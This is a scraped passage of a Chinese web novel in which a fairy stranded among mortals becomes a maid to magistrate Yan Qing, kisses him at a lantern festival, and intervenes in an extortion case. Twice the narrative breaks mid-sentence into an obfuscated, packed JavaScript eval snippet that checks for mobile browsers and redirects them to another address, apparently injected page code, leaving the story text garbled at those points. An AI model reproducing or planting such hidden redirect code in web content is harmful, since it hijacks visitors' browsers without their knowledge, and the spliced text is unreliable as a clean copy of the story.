颜知县的目光在我和李四之间来回扫视,似乎在权衡着什么。片刻后,他缓缓开口:“本府立刻派人前往李四家牛棚调查。李四,主动认罪杖责三十,关押三日。若是等本府调查清楚再认,则杖责八十。” 李四闻言,脸色瞬间惨白,连连磕头:“大人明鉴!小民绝无此意,只是……只是……” “只是什么?”颜知县的声音陡然提高,带着不容置疑的威严。 李四支支吾吾,半天说不出话来。 颜知县目光如炬地盯着他:“李四,你可知罪?” 李四浑身一颤,终于低下头,声音微弱:“小民……小民知罪。” 颜知县微微点头,目光转向我:“姑娘,你虽是无心之过,但擅闯民宅打人在先,按律也当受罚。念在你身上有伤,也是为求自保,便关你一日。” 我深吸一口气,无奈认罪受罚。 李四被人架着双臂拖走,围观的群众散去,那位知县颜大人也走下堂来到我面前。 我轻蹙眉头抬眸看着他,保持警觉。 “哪里受伤了?”他的目光落在我略显苍白的脸上,声音低沉而温和,带着一丝关切。 我闪过一丝疑惑。 “大人不送我去牢狱吗?” 我的声音有些虚弱,腰后的伤口隐隐作痛,让我忍不住皱了皱眉。 颜知县的目光在我身上停留片刻,似乎在打量我伤在何处。他轻轻叹了口气,语气坚定:“你既然有伤,就先治疗。哪里受伤了?” 我咬了咬唇,犹豫片刻,下意识地伸手摸了摸伤口的位置,触到一片湿润。再看指尖,已染上明显的血迹。 “师爷,去叫唐大夫。” 师爷点头,快步走出公堂,脚步声在空旷的厅堂中回荡。我站在原地,想不通颜知县为何关心我的伤势。这种突如其来的善意让我有些不知所措,心中既感激又有些不安。 莫非是这牢狱里普通姑娘家受不了,怕我挺着伤进去,死在里边? 颜知县的目光重新落在我身上,语气缓和了些。 “先治疗。嘴唇都没有血色了。” 他指了指一旁的椅子,示意我坐下。 我犹豫了一下,最终还是缓缓走到椅子旁,小心翼翼地坐下。腰后的伤口随着动作传来一阵剧痛,我忍不住倒吸一口冷气,额头上渗出细密的汗珠。 颜知县见状,低声问道:“伤口很深吗?” 我的声音有些虚弱:“应该是……昨晚被人偷袭,没来得及处理。” 颜知县沉默片刻,缓缓开口:“在信州如果遇到什么困难,都可以找我。” 我抬起头看向他。 “大人是个好人。谢谢。” 突如其来的感谢,显然让颜知县有些猝不及防。耳根迅速染上红晕,别开视线。 不久,师爷带着一名大夫匆匆赶来,想必就是唐大夫了。唐大夫背着一个药箱,快步走到我身旁,轻声问道:“姑娘,哪里受伤了?” 我指了指腰后的位置。 “这里,被插了一刀。” 唐大夫点了点头,示意我转过身去。他刚要掀开我的衣衫检查伤口,忽然意识到不对,又收回手。 “大人,这里是公堂……” 唐大夫低声说道。颜知县立刻明白,伸手扶我起身。 “失礼了。” 然后,将我打横抱起,穿过门廊,带我到了应该是信州府生活起居的地方,抱我进了一间无人居住的空房。 颜知县回避后,唐大夫才开始替我检查伤口。我感受到他的手指在伤口周围轻轻按压,疼痛让我忍不住咬紧了牙关。 “伤口有些深,需要缝合。”唐大夫的声音沉稳而温和,“按时上药静心修养,愈合很快的。好在伤的不是明显部位,姑娘不必担心。” 我点了点头,心中稍稍松了一口气。其实睡一觉就能好的,或者说找点仙草仙药。奈何清早还没睡醒就被折磨到现在。待会儿还得去牢里坐坐…… 烦!没事跑凡间来干嘛! 唐大夫收起药箱,走到门外和颜知县交代了几句便离开了。 我趴在柔软的铺床上,困意来袭。 颜知县再进屋内时,我已经彻底失去意识,见周公去咯。 再睁开眼,房间还是睡之前的房间,只是,哪里变了。 我揉了揉眼捂着腰坐起身。 到底哪里变了…… 掀开被子,穿上床边仅剩的一双鞋,推开紧闭的门扉,似是清晨的阳光耀眼而温暖。我怎么记得我睡着之前是阴天呢?审判结束也该是中午了,这阳光……如何看都不像午后的样子。 “姑娘醒啦。” 一位十五六岁的姑娘端着餐食走向我。 “先吃点东西吧。衣服穿着还合身吗?颜大人见你衣服上染了血,让我给您换了一件。” 原来是衣服被换了,我说怎么感觉哪里变了。 她越过我走进屋内,将托盘放下。 “谢谢……”我迷迷糊糊地道谢,“颜知县呢?我醒了,可以去坐牢了。” 那姑娘惊讶地看向我,扑哧一笑。 “姑娘这么想坐牢啊。”她一面摆着碗筷一面笑着说道,“颜大人说,您正好在这儿昏睡了一整天,反正都在这信州府,就当罚你在牢里待了一天啦。” 还能这样? “姑娘先吃饭吧。待会儿,我带你去见颜大人。” “哦……” 昨夜,也不知怎的,从蓬莱回人界时,我的“仙途司南”似乎出了点问题,竟然直接把我送到了一处山头山大王的地盘上。更倒霉的是,我这一落,不偏不倚,正好砸在了人家寨子里的“传世珍宝”上——那玩意儿看着像个大花瓶,结果一碰就碎,跟纸糊的似的。 我心想,这算啥事儿啊?好歹我也是个神仙,虽然是个不太靠谱的神仙,但赔个花瓶还是绰绰有余的。于是,我拍了拍身上的灰,潇洒地一挥手,从袖子里掏出一颗闪闪发光的夜明珠,豪气干云地说道:“大王别急,这玩意儿我赔你!比你这花瓶贵重千百倍,够意思吧?” 没想到,那山大王一听,不仅没领情,反而气得胡子都翘起来了,大吼一声:“兄弟们,给我砍了这个不知天高地厚的家伙!” 我一听,心里咯噔一下:哦豁,这下玩脱了。 人界不准飞,只能用腿跑了。于是,我撒丫子就跑,山路崎岖,黑灯瞎火的,我一边跑一边心里嘀咕:“这山大王是不是脑子有坑?我都赔他夜明珠了,他还砍我?难道他更喜欢花瓶?” 结果,一个没留神,脚下一滑,摔了个狗啃泥。还没等我爬起来,后面追兵就赶上来了,一刀插进了我的腰后方。疼得我龇牙咧嘴,心里直骂:“敢杀神?!你们这是要逆天啊!” 我气得不行,抬手一挥,仙力一荡,直接把那群追兵震晕了。然后,我捂着腰,一瘸一拐地躲进了附近一户人家的牛棚里。心想:“先躲一躲,等天亮了再想办法。” 后面的事,都知道啦。 区区凡人竟敢把神仙告上公堂! 唉,真是倒霉透顶! 不过,话说回来,那山大王的花瓶到底是啥来头?难道比我的夜明珠还值钱? 饭后,那姑娘领我去见颜知县。 我跟着她穿过县衙的回廊,心中有些忐忑。虽然免了牢狱之灾是该谢谢人家,但一想到要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15078510|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单独面对那位知县,心里不免有些紧张。 才不是怕他!是有……别的原因。 走到书房门口,姑娘轻轻敲了敲门,里面传来一声低沉的“进来”。她推开门,示意我进去。我深吸一口气,迈步走进书房。 书房内,烛光摇曳,映照出颜知县伏案工作的身影。他低着头,手中握着一支毛笔,正在批阅公文。眉头微蹙,神情专注,仿佛周围的一切都与他无关。烛光映在他的侧脸上,勾勒出他棱角分明的轮廓,显得格外清冷而疏离。 我站在门口,一时有些出神。他的身影在烛光下显得格外修长,衣袖随着笔尖的移动轻轻摆动,动作优雅而从容。不知为何,我心中突然涌起一种奇怪的感觉,仿佛有什么东西在心底轻轻拨动了一下,带着一丝说不清道不明的悸动。 颜知县察觉到我后,抬起头来,目光落在我身上。他的眼神依旧深邃而冷静,但不知为何,我却觉得那目光中似乎多了一丝柔和。他放下手中的笔,缓缓站起身,走到我面前。 “伤口如何了?”他的声音低沉而温和,带着一丝关切。 我微微一愣,随即低下头。 “多谢知县大人关心,上了药,不怎么疼了。” 他点了点头,目光在我脸上停留片刻,似乎在确认我的状态。片刻后,他轻声说道:“日后若有什么需要,随时可以到信州府找我。” 原来是跟我道别。 我抬起头,犹豫着张口又闭口。心中那股奇怪的感觉愈发强烈,仿佛有什么东西在心底悄然滋生。我咬了咬唇,终于鼓起勇气,一把抓住他的衣袖。 “大人!我……我无处可去,能否……可否留我在您府上做个丫鬟?我可以端茶递水、打扫卫生,做啥都行!进后厨当洗碗工也行!保证不给您添麻烦!” 颜知县闻言,身体怔愣,视线不时瞟向我抓住他的手。 不出所料,他的耳根又红了。 片刻后,他轻咳两声缓缓开口。 “府上的丫鬟并非轻松差事,每日需早起晚睡,事务繁杂……” 我连忙打断,眼中带着一丝坚定。 “我可以!只要能有个安身之处,再苦再累我也愿意。” 颜知县的目光在我脸上停留片刻,眼中闪过一丝复杂的情绪。他轻轻叹了口气,语气缓和了些:“既如此,你便留下吧。不过,一切需按规矩行事,不可逾越。” 我心中一喜,连忙点头:“多谢颜大人!” 颜知县微微点头,转身走回书案旁,重新拿起毛笔,继续批阅公文。我站在一旁,望着他心生欢喜。 计划通! “对了。”离开前我回头望向他,“还不知大人姓名?” “姓颜,单名一个卿字。” 颜卿……我暗暗重复着他的名字。 颜者,华彩也;卿者,雅士之称。“颜如渥丹,卿云烂兮。” 我抿唇窃喜。 “记住啦,颜卿。” 我在信州府住下后,勤劳肯干,深得大家的喜爱。每日天不亮就起床,扫地、擦桌、端茶、递水,样样不落人后。府上的丫鬟们见我手脚麻利,纷纷夸我能干,连厨房的张大娘夫妇都忍不住夸我,每顿给我多加一个包子。 “这丫头,肯吃肯干!要是咱家能生出这么水灵的姑娘多好。” 管家李叔更是对我另眼相看。某日,他捋着胡子笑眯眯地走到我面前,上下打量了我一番,说道:“丫头,你这般勤快,又聪明伶俐,可愿做咱们颜大人的贴身丫鬟?不仅能近身伺候大人,还能学些文墨,长些见识。” 我一听,心中顿时乐开了花,脸上却故作矜持,低头轻声道:“李叔,我……我怕自己笨手笨脚,伺候不好大人。” 李叔哈哈一笑,拍了拍我的肩膀。 “可找不到再比你机灵的人了。大人身边正缺个细心的人。” 我连忙点头。 “多谢李叔!放心吧,我一定把大人照顾得白白胖胖的!” 李叔满意地点点头,转身去找颜卿禀报。我站在原地,心中暗自窃喜:两个月的努力,终于等到了这一刻! 我心中雀跃,一蹦一跳来到颜卿的书房门口。故作镇定,敲门而入。 颜卿正坐在书案前批阅公文,见我进来,抬头看了我一眼,淡淡道:“在府上待得可还适应?” “嗯!可充实了。” 颜卿点了点头,目光中带着一丝淡淡的温和。 “也别太累了,注意休息。” 我抿唇笑着连忙点头。 颜卿微微颔首,继续低头批阅公文。我站在一旁,偷偷观察他,按耐不住内心的雀跃。 从那天起,我名正言顺地天天黏在颜卿身边。每日清晨,我早早起床,为他准备好洗漱用品;他批阅公文时,我便在一旁研墨、递茶;除开公务,他外出时,我便跟在身后,替他打点一切。 日子久了,颜卿对我的态度也渐渐温和起来,笑起来时嘴角的弧度上扬不少。某日,他忽然放下手中的笔,抬头看向我,眼中带着一丝笑意:“今晚千灯节,要不要去看看?” “千灯节?” “嗯,信州府每年最热闹的节日。你初到信州,兴许会有兴趣。” “去!”我微微一笑,凑到颜卿面前,“那就麻烦颜大人带我见识见识啦。” 突然拉近的距离让颜卿躲闪不急,眼睛四处乱飘,耳根红透,就连握笔的手都不自觉微微发抖。 23. 星河予梦 千灯节,信州府每年五月初五最盛大的节日。传说百年前,信州曾遭遇一场大旱,百姓苦不堪言。某日,一位道法高深的僧人出现,说点燃千盏明灯,照亮整个信州城,天上的神仙看到后,便能驱散黑暗,迎来甘霖。果然,次日天降大雨,旱情得以缓解。自此,信州百姓便将这一日定为“千灯节”,祈求来年风调雨顺、平安喜乐。 夜幕初垂,信州城内已是灯火通明。街道两旁挂满了各式各样的花灯,有莲花灯、鲤鱼灯、龙凤灯,还有精巧的走马灯,灯影摇曳,映得整条街如同白昼。 城中的广场上,早已搭起了一座高高的灯台。灯台上摆放着一盏巨大的莲花灯,花瓣层层叠叠,中心燃着一簇明亮的火焰,象征着希望与光明。灯台四周,百姓们手持小灯,排成长队,等待着点燃自己的灯盏。 我站在颜卿身旁,手中捧着一盏小巧的兔子灯,灯芯还未点燃。颜卿今日难得换下了官服,穿着一身月白色的长袍,腰间系着一条青色的丝带,显得格外清雅。他手中也提着一盏灯,灯上绘着几枝墨梅,栩栩如生。 “千灯节……颜大人觉得天上的神仙真的能看到吗?”我抬头看向他,眼中满是欣喜。 颜卿微微一笑,目光落在远处的灯台上。 “无论是否看到,这份信念陪伴信州百姓走过了百年。如果可以,我希望能看到。神仙,一定也不想错过如此美景。” 我眨了眨眼,歪头笑着问他:“假设现在神仙正看着听着呢,你有什么心愿吗?” 颜卿低头看了我一眼,唇角浮起淡淡的笑意。 “自然是希望信州风调雨顺,百姓安居乐业。” 我嘟着嘴,暗自嘀咕:连许愿都这么正经,难怪二十一二还没妻室。 正说着,灯台上的莲花灯忽然亮起,火焰跳动,映得整个广场一片明亮。百姓们纷纷欢呼起来,随后依次上前,将自己的灯盏点燃。一时间,千盏明灯齐亮,如同繁星落地,美不胜收。 我捧着兔子灯,小心翼翼地走到灯台前,将灯芯点燃。火焰跳动,映得我的脸颊微微发烫。我闭上眼睛,故意念出声让身旁之人听清。 “愿信州百姓平安喜乐,愿颜卿得一人心,白首不相离。” 许完愿,我抬眸看向一旁的颜卿,见他正抬头望着满天的灯火,神情专注但掩不住红透的耳根和脸颊。 “大人许了什么愿?” 颜卿微微一笑,目光深邃。 “愿望说出来,就不灵了。” 我撇了撇嘴。你不说我难道就不知道了吗。现在在你身旁的,可是真神。 正想着,忽然听到远处传来一阵欢呼声。抬头望去,只见天空中升起了无数盏天灯,灯影摇曳,如同星河倒悬,美得令人窒息。 “大人快看!天灯!”我兴奋地拉了拉颜卿的衣袖。 颜卿一下怔愣,盯着我落在他衣袖的手。 我仰头看着满天的天灯,心中满是欢喜。 忽然,颜卿的声音在耳边响起:“楚风,你可知天灯还有另一个名字。” 我转过头,好奇地问道:“什么名字?” 颜卿微微一笑,仰头看着满天星河。 “叫‘心愿灯’。据说,将心愿写在灯上,随着灯升入天空,便能被天上的仙人听见,帮你实现。” “那大人可曾写了心愿?” 颜卿摇了摇头。 “未曾。不过,你若想写,我可以陪你。” “好啊!” 颜卿带着我走到一旁的小摊前,买了两盏天灯。我不经思考便将心愿写在灯上,偷偷瞥了一眼颜卿,见他正专注地写着什么,心中不禁有些好奇。 写完后,我们一同将天灯点燃。灯影摇曳,缓缓升入天空。 “你的心愿,一定会实现的。” 闻声,我微微一怔,转头看向他,他却望着天空,嘴角噙着一抹笑。我暗喜,脸上泛起一丝红晕,看向他垂在身侧的手。 夜风轻拂,千灯齐明,整个信州城笼罩在一片温暖的光辉中。 “颜卿。” “嗯?” 我抬手抚上他的后颈,猛地一用力,将他惊愕的脸拉近。 “神说,她听到你的心愿了。于是,派我来满足你的愿望。” “什——” 没等他说完,我仰起头吻上他。 夜幕低垂,天穹如墨,漫天的天灯缓缓升起,像是无数星辰从地面挣脱,飘向无尽的苍穹。每一盏灯都承载着信州人的祈愿与梦想,微弱的光芒在黑暗中闪烁,连成一片温暖的光海。光影交错,整个世界都笼罩在一片梦幻般的柔光之中。 人群熙熙攘攘,笑声、欢呼声、祈祷声交织在一起,形成一片嘈杂的背景音。然而,这一切与我们无关。 仿佛被这片光海隔绝,只剩下彼此的存在。 颜卿的身影在天灯的映照下显得格外清晰,眉眼如画,眸中倒映着点点光芒,像是藏着整片星空。而在那片星空中,倒映着一个我。 我轻轻捧起他的脸,指尖触碰到他微凉的肌肤,感受到他微微的颤抖。他的眼中闪过一丝惊愕,似乎未曾料到我的举动。我稍稍离开,目光与他的交汇,仿佛在确认他的反应。他的呼吸有些急促,眼中带着迷茫与慌乱,像是从未经历过这样的时刻。 我没有给他太多思考的时间,再次靠近,深深地吻了下去。这一次,我的动作更加坚定,带着一种不容拒绝的温柔。舌尖撬开他紧闭的双唇,颜卿的身体猛地一僵,像是被电流击中了一般,整个人都愣住了。他的手臂悬在半空中,不知所措,仿佛不知道该放在哪里。他的唇瓣柔软而冰凉,带着青涩的颤抖。 我感受到他的惊慌,轻轻松开他,额头抵在他的胸膛,呼吸有些紊乱。颜卿的眼中依旧带着迷茫、慌乱与无措,脸颊染上了一层淡淡的红晕,比天灯洒下的光更甚。他的手指无意识地攥住了我的衣袖,指尖微微颤抖,仿佛在努力平复自己的情绪。 “你……”他的声音低哑而微弱,像是从喉咙深处挤出来的,带着一丝不确定与慌乱。他的目光躲闪着,不敢直视我的眼睛。 我轻轻笑了笑,指尖抚过他的脸颊,低声说道:“这是你的第一个吻吗?” 他低下头,耳根红得几乎要滴出血来。他没有回答,只是轻轻点了点头,手指依旧紧紧攥着我的衣袖。 我环上他的腰,手臂收紧,侧头倾听他心脏鼓动的声音。颜卿的身体依旧有些僵硬,但渐渐放松下来,将脸埋在我的发顶,温热的气息轻轻拂过我的发丝。 他的手掌轻轻搭在我的背上,指尖微微用力。 “颜卿……”我轻声唤他的名字,声音像是被风卷走,微弱得几乎听不见。他更加用力地将我拥紧,仿佛在回应我的呼唤。他的下巴轻轻抵在我的发顶,呼吸间带着一丝颤抖。 “楚风……我……”他咽下一口气,“我该怎么办……我该如何回应你……” 我没有回答,只是静静地依偎在他的怀里,感受着他的温度与心跳。 天灯依旧在飘荡,光芒洒落在我们的身上,将这一刻定格成永恒。远处的人群依旧喧嚣,此刻,我的眼里只有他,只有这个吻,只有这片漫天的光海。 楚风,我给自己取的新名字,出自《楚辞》。 “沅有芷兮澧有兰,思公子兮未敢言。” 见到颜卿的第一眼,我便下定决心,他——非我莫属。我一见他欣喜若狂,刹那间,他的眼神一下夺走我不为人知、深藏已久的心。 可惜,他是个尚未开窍的木头。 颜卿不是我下凡邂逅的第一个人,确实第一个令我不知如何是好的人。既然不晓得怎么办,且在他身边多留一段时日吧,终有一天,我会明白的。 他的心思太过单纯,像是在官府出家的人,远离红尘,远离男女情爱,一心为国为民。 没关系,我有的是时间。既然不能一步到位占有他,那就一步一脚印,靠双手把他拉到身边来。 千灯节那天后,我本以为颜卿会躲着我、回避我,因为他说他不知道如何回应我。我知他是块木头,不肯再见我也属正常,我也提前给自己做好了心理准备。 没想到……事情的发展完全出乎我的意料。 “欸?未婚妻?我吗?” 面对我的三连问,颜卿只有一个肯定的回答。 “是的。” 眼前的人身姿挺拔如松地站在我房门口的院子里,眉眼间是不容置疑的坚定。 “从今日起,你便是我的未婚妻了。” 我愣住了,手中的茶杯差点掉在地上。 脑子好乱,这是什么情况?我是不小心昏迷了几天还是失忆了,怎么突然就跳到了“未婚妻”这一步? 我张了张嘴,却不知道该说什么,只能呆呆地看着他,试图从他的表情中找出一点玩笑的痕迹。 然而没有,找不到。他微微皱眉,似乎对我的反应有些不解,但还是耐心地解释道:“千灯节那日,众目之下,你……亲了我。这关系到姑娘家的清白名声,我不能让你因此受人非议。既然你我皆在人世间孤身一人,没有父母长辈需要请示,那便省去了下聘书的过程。等有空了,择一良辰吉日,我娶你过门。” 他的语气平静得像是在讨论天气,仿佛这一切都是理所当然的。我却听得目瞪口呆,心里五味杂陈。原来,他是因为这个原因才决定娶我?因为一个吻,因为所谓的“清白名声”? 我忍不住笑了,笑声里带着一丝无奈。 “颜卿,你是因为责任才要娶我吗?”我看着他,眼中带着一丝探究,“还是说,你真的想娶我?” 颜卿微微一愣,似乎没料到我会这么问。他的眉头皱得更紧,眼中闪过一丝困惑,像是从未思考过这个问题。 良久,他才低声说道:“我不知道。但我知道,我不能让你因我而受人非议。你……值得被好好对待。” 他的话让我心中一暖,却又有些酸涩。这个木头一样的男人,明明不懂情爱,却因为一份责任感,愿意将余生与我绑在一起。忽然觉得有些好笑,又有些心疼。 “颜卿,”我轻声唤他的名字,语气里带着一丝温柔,“你有没有想过,或许我并不在意那些所谓的名声?或许我亲你,只是因为我喜欢你,而不是为了让你负责?” “我……”他张了张嘴,却不知道该说什么,只能偏过头,避开我的目光。 我笑了笑,伸手轻轻抚过他的脸颊,指尖触碰到他滚烫的肌肤。“颜卿,我不需要你因为责任而娶我。如果你真的想娶我,我希望是你也喜欢我,而不是为了保护我。” 他没有说话,只是将脸埋在我的掌心,呼吸轻轻拂过我的手指,带着一丝温热。 “好,我答应你,我会好好想想的。” 我点了点头,心中涌起一阵复杂的情感。这个木头一样的男人,比起得到他的人,我的目的已在无形中变更,我要让他连人带心,彻底属于我。 信州府一天到晚可有得忙了。颜卿又是个凡事喜欢亲力亲为的好人,上到审理案件、调解纠纷,下到巡查街巷、安抚百姓,他无一不亲自过问。每日天未亮,他便已起身,披着晨露赶往府衙,直到夜深人静才拖着疲惫的身子回来。他的案头总是堆满了卷宗,笔墨纸砚散乱其间,仿佛永远没有尽头。 早晨,我伸着懒腰从厨房里出来,嘴里还嚼着最后一口馒头。 大堂似乎又在办案,我习惯性从后面绕过去看戏。 今天的案子似乎和欠债不还有关,我站在人群后面努力踮起脚才勉强看到跪在地上的男人。听身旁的人议论,堂下之人名叫赵老三,说有个女的欠债不还。 这时,几位衙役押着一名妇人上堂。那妇人低着头,身子微微颤抖,像是害怕极了。 赵老三的目光在妇人身上打量了一圈,冷笑一声,声音里带着一股狠厉:“让你欠钱不还。” 妇人抬起头,脸色苍白,声音微弱却坚定:“我没有欠你钱……” “颜大人在上你还敢嘴硬!”赵老三猛地提高了音量,脸上的肌肉因愤怒而扭曲。他手指着妇人,语气咄咄逼人:“说你欠了就是欠了,乖乖认错,把钱还给我!” 颜卿皱起眉头,一贯温和的眸子里像是结了一层冰。他敲了敲惊堂木,声音冷冽:“公堂之上,注意言行。” 赵老三被这一声震慑,稍稍收敛了些,但眼中的狠厉依旧不减。颜卿又看向那名不敢作声、头垂得快要贴上自己的妇人,语气放缓了些:“李氏,你说说是怎么一回事。” 李氏张了张嘴,似乎想要说什么,但目光一触及赵老三那凶狠的眼神,便又缩了回去。她的手指紧紧攥着衣角,指节因用力而发白。最终,她只是颤抖着从怀里摸出一袋钱币,递给赵老三,声音低得几乎听不见:“我……我还钱。” 赵老三一把抓过钱袋,掂了掂分量,脸上露出一抹得意的笑容。他朝颜卿拱了拱手,语气里带着一丝讥讽:“多谢颜大人主持公道,小人这就告退了。” 颜卿的眉头皱得更紧,目光在李氏和赵老三之间来回扫视,似乎察觉到了什么不妥。但他还未开口,赵老三已经转身大步离开了公堂。李氏也低着头,匆匆退下,仿佛一刻也不想多留。 我看着这一幕,心中隐隐觉得不对劲。李氏那害怕的神情,赵老三那嚣张的态度,还有颜卿那欲言又止的表情,都让我觉得这案子并没有表面上那么简单。 于是,我悄悄跟上了赵老三,想看看他到底在搞什么名堂。 赵老三一路哼着小曲,显然心情极好。他拐进了一条偏僻的小巷,我躲在墙角,屏住呼吸,仔细听着他的动静。没过多久,李氏也跟了进来,脸上依旧带着恐惧。 “钱我明明已经……还给你了……”李氏的声音颤抖着,几乎带着哭腔。 赵老三冷笑一声,将钱袋在手中抛了抛,语气里满是讥讽:“还?你当初借的钱是还了,可利息呢?利滚利,你现在还欠我一大笔呢!” 李氏的脸色瞬间惨白,身子摇摇欲坠:“利息?当初不是说好没有利息的吗?你……你这是讹诈!” 赵老三的脸色一下子阴沉下来,他猛地逼近李氏,声音里带着威胁:“讹诈?你有证据吗?当初的找我们钱庄借钱的是你们,借条上可没写清楚有没有利息。你要是不还,我就让你在这信州府待不下去!” 李氏被吓得后退几步,背抵在墙上,无路可退。她的眼泪终于夺眶而出,声音里满是绝望:“你……” 我看到这里,再也忍不住,从墙角冲了出来,挡在李氏面前,冷冷地看着赵老三:“赵老三,你欺人太甚!李氏明明已经还清了债务,你还想怎样?” 赵老三显然没料到会有人突然出现,先是一愣,随即狞笑起来:“哟,哪来的小娘子,敢管大爷的闲事?识相的赶紧滚开,否则别怪我不客气!” 我冷笑一声,转身扶着李氏的肩膀。 “您先回去吧,我待会把钱给您送家里来。” 见她很诧异我的出现,我有凑到她耳边轻声说:“我是颜大人派来的。” 还是颜大人有威信,李氏听后立马感动着连连点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079728|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,转身离开。 我站在巷子口,冷眼看着赵老三那副痞里痞气的模样。他斜倚在墙边,嘴里叼着一根草茎,眼神飘忽不定,显然没把我放在眼里。我眉头一皱,心中火气上涌,几步跨到他面前,厉声喝道:“喂!赵老三!赵痞子!” 赵老三懒洋洋地抬起头,眯着眼睛打量了我一番,嘴角扯出一抹不屑的笑:“所以你谁啊?多管闲事。” 我冷哼一声,双手叉腰,挺直了腰板,语气里带着几分傲然:“行侠仗义的楚女侠,记住没?” 他嗤笑一声,摆了摆手,一副不耐烦的样子。 “我记住你干嘛。” 我见他这副德行,心中怒火更盛,二话不说,抬腿就朝他踹了过去。赵老三猝不及防,被我踹得一个踉跄,捂着肚子弯下腰,疼得直叫唤。 “嗐哟喂!你敢打我!我要告颜大人!” 我冷笑一声,步步逼近。 “行啊。既然你想报官,我就只好——打断你的腿,抽断你的筋,扒光你的皮,把你的脑花掏出来碾碎榨干!” 赵老三脸色瞬间变得惨白,额头上冒出冷汗,喉咙里发出一阵干呕声。 “呕——女侠别说了……我要吐了……” 我冷冷地盯着他,语气里带着几分讥讽。 “吐?信州府明律规定,破坏公共环境者二十大板。我看着你吐,吐完就带着证据送你去见颜大人。” 赵老三一听,连忙捂住嘴,强忍着恶心。 “嗐哟喂,这位女侠你到底什么人啊,我跟你无冤无仇,你缠着我干嘛!” 我双手抱胸,目光如刀,直直刺向他。 “行侠仗义,不问因果!把李氏的钱还给她。” 赵老三一听,脸色变了变,随即露出一副无赖相,摊了摊手。 “呵,原来是来要钱的。没有!” 我眯起眼睛。 “没有是吧?你是真不信我敢打断你的腿,抽断你的筋,扒光你的皮,把你的脑花掏出来碾碎……” 赵老三听得头皮发麻,连连摆手。 “停停停!别说了!你自己不恶心吗!” 我冷哼一声。 “恶心?你看我打不死你!” 说罢,我一个箭步冲上去,揪住他的领口,狠狠扇了他几耳刮子。赵老三被我打得晕头转向,脸上顿时浮现出几道红印。 我松开手,冷冷地盯着他:“钱呢!” 赵老三捂着脸,眼神闪烁,支支吾吾道:“钱不在我这儿了。” 我眉头一皱,厉声追问:“给谁了?!” 他缩了缩脖子,声音低得像蚊子哼哼:“我们老大……我也就是个收钱跑腿的,女侠别掏我的脑花……” “你们老大是谁?” “我不知道啊……他从不露面,我都是把钱根据指示放在一处地方……” “什么地方?” “每次都不一样……这次是在东街的那口井旁边。” 我冷哼,松开他的领口,拍了拍手,带着几分不屑。 “滚。” 赵老三如蒙大赦,连滚带爬地逃出了巷子,背影狼狈不堪。 东街的只有一口井,藏在巷陌深处。我来得及时,钱还没被拿走。 我掂量着钱袋正准备离开,赵老三又不识趣地当在我面前。 “还想被揍吗?” 忽然,赵老三吹了一声口哨,巷子口立刻涌进来几个彪形大汉,显然是赵老三叫来的帮手。他们围住我,脸上带着狞笑,显然不打算让我轻易脱身。 虽然我会法术,这么多人也是简简单单轻轻松松。但这里毕竟是凡间,为了不违背天规,只有赤手空拳了。 就在我准备拼死一搏时,忽然听到一声清冷的喝斥:“住手!” 紧接着,一道身影从天而降,稳稳地落在我和赵老三之间。一位身着青衣的姑娘,眉目如画,手中握着一柄长剑,剑尖直指赵老三的咽喉。 赵老三被这突如其来的变故吓得连连后退,脸色惨白:“你……你是谁?” 我也想问,姑娘你谁啊? 青衣姑娘冷笑一声,声音如冰:“路见不平,拔刀相助。这么多人欺负一弱女子,还敢嚣张?” 赵老三还想争辩,青衣姑娘却不再给他机会。她身形一闪,剑光如电,三两下便将赵老三和他的帮手打得跪地求饶。赵老三的帮手见状,吓得四散而逃,连头都不敢回。 我站在一旁,看得目瞪口呆。这位姑娘的身手,简直出神入化! 青衣姑娘收起长剑,转身看向我,眼中带着一丝关切:“你没事吧?” 我摇了摇头,心中满是感激:“多谢姑娘相救,不知姑娘尊姓大名?” 她微微一笑,收起长剑。 “我叫姜妍,路过此地,见有人行凶,便出手相助。” “多亏姜姑娘出手相救,我才能安然无恙。” 姜妍摆了摆手,唇角上扬。 “举手之劳,不必客气。倒是姑娘,胆识过人,令人佩服。” 我正想谦虚几句,忽然感觉手臂传来一阵刺痛,低头一看,才发现不知何时被划了一道口子,鲜血正缓缓渗出。我皱了皱眉,还没来得及说话,姜妍已经注意到了我的伤口。 “你受伤了?”她的语气瞬间变得严肃,目光落在我手臂上,眉头微蹙。 “没事,只是小伤。”我轻描淡写地揭过,但姜妍显然不打算听我的。 “小伤也不能大意。”她二话不说,拉起我的手腕,语气不容置疑,“走,我带你去最近的医馆处理一下。” 我还未来得及反应,便被她拉着快步走向巷口。她的手掌温热而有力,带着一种令人安心的坚定。我看着她侧脸的轮廓,心中涌起一阵暖意。这位萍水相逢的姑娘,竟如此热心肠。 谁说的“快活似神仙”,蓬莱仙岛可遇不到这般热心肠的人。 医馆并不远,姜妍显然是熟门熟路,径直带我走了进去。大夫为我处理伤口,敷上药膏,又仔细包扎好。整个过程,姜妍一直站在一旁,目光紧盯着大夫的动作。 这姑娘,怎么比我还紧张。 “好了,伤口不深,按时换药,几日便能痊愈。”大夫收拾好药箱,叮嘱了几句。 姜妍这才松了一口气,转头看向我,语气中带着一丝责备:“以后可别再这么莽撞了,若是伤得再重些,可怎么办?” 我笑了笑,心中既感动又有些无奈:“好,我记住了。多谢姜姑娘关心。” 